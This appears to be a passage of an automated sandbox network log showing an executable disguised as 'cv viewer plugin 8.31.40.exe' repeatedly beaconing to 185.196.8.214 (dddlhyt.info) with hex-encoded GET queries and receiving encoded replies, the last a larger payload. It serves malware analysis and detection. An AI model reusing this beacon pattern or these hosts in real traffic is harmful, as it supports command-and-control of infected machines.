Aug 31, 2024 22:13:46.089749098 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:46.818880081 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49746	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:46.941888094 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:47.651432037 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49747	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:47.770206928 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:48.459899902 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49748	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:48.622296095 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:49.309113026 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:49.421412945 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:49.658382893 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:49.764575005 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:50.000968933 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:50.108288050 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:50.352996111 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49749	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:50.477405071 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:51.204446077 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:51.317889929 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:51.559140921 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:51.673010111 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:51.914890051 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49750	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:52.037587881 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:52.748502970 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Aug 31, 2024 22:13:52.858273983 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:53.098416090 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49751	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:53.223984003 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:53.914094925 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49752	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:54.037296057 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:54.739670038 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49753	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:54.864381075 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:55.569820881 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49754	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:55.691790104 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:56.398533106 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49755	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:56.520169020 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:57.213263988 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49756	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:57.338046074 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:58.050796032 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49757	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:58.236208916 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:58.928915977 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49758	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:59.051496029 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:13:59.758272886 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49759	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:13:59.892970085 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:00.588644981 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49760	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:00.707350969 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:01.396085024 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49761	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:01.520057917 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:02.219222069 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49762	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:02.348289967 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:03.032706022 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49763	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:03.167870998 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:04.062833071 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49764	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:04.194269896 CEST	315	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c443db22f31df92d8838ed12a666d307eca743ec4c2b07b529669239628ffc14c2ef92 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:04.923839092 CEST	1190	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 33 64 36 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 63 38 31 63 34 35 39 66 65 38 62 64 32 65 39 31 66 31 65 66 35 61 32 35 63 65 39 31 35 38 35 62 63 63 66 62 35 66 62 63 34 30 61 64 39 30 38 38 62 65 38 64 65 32 32 36 36 65 32 30 38 61 36 62 62 39 64 35 39 32 64 65 62 37 36 35 61 62 33 37 32 66 30 37 39 61 38 33 31 35 63 64 65 66 37 64 33 30 32 63 31 34 33 63 64 37 64 62 62 31 31 66 62 32 64 38 62 32 33 65 30 30 65 61 37 36 32 63 35 34 64 62 39 65 30 34 66 65 37 35 62 37 66 34 33 65 63 32 66 36 36 39 30 33 63 37 39 38 37 66 66 30 66 63 32 65 65 39 34 38 34 33 61 63 62 36 66 39 63 31 32 64 38 35 30 38 66 32 31 62 37 35 31 62 36 66 37 35 39 32 31 66 33 37 61 64 31 66 38 36 37 62 31 38 65 65 35 64 37 34 61 65 36 33 65 63 32 31 34 33 34 35 66 34 34 32 35 65 62 33 62 37 33 30 39 36 32 61 37 65 64 38 65 66 61 38 63 32 38 35 31 65 36 35 37 37 61 32 32 66 62 33 34 35 63 66 66 66 64 66 39 38 64 66 65 33 66 36 35 61 36 65 64 34 35 39 38 38 37 66 62 37 61 32 37 31 [TRUNCATED] Data Ascii: 3d667b68a8a3203a77b0418f55f677c81c459fe8bd2e91f1ef5a25ce91585bccfb5fbc40ad9088be8de2266e208a6bb9d592deb765ab372f079a8315cdef7d302c143cd7dbb11fb2d8b23e00ea762c54db9e04fe75b7f43ec2f66903c7987ff0fc2ee94843acb6f9c12d8508f21b751b6f75921f37ad1f867b18ee5d74ae63ec214345f4425eb3b730962a7ed8efa8c2851e6577a22fb345cfffdf98dfe3f65a6ed459887fb7a2718b46af19ec8ac64d06a1b293467a656ceddad322fb2c110ba03bbbc33bfdbc9347e280ed330e012ead7a00246cc3d10c74bdaf360972cb7965ea9e6d5b6c73d3db87fa3ef0993aabf735aa08cf529a8e087831cf317e044814f69c5b4c1fdd84164a687ec3db175880e29a926d432de9f00cb56b439010257cac96f5f3e4c6484fe842f2c604f1bc9c7af1113f5c8bfe9c3357872ed3e85c20500499eb4c50b4f5add796b5d3a44e2d1d2ccfbcb5a99226e50f67d2a832bbcce937f8a5fc9883e1d0e6983f59aec060ea12780dd127308de36d2f6900c6834749a2b01ec56407e678647d2b0bdef34bdd0c7104c8c2dcb48508db2d76ed15025b569e63327b6639e561fc9aea7ae6fa7cb0d9a4bc8dfcf4ab316b45dfca7b3659bae38fb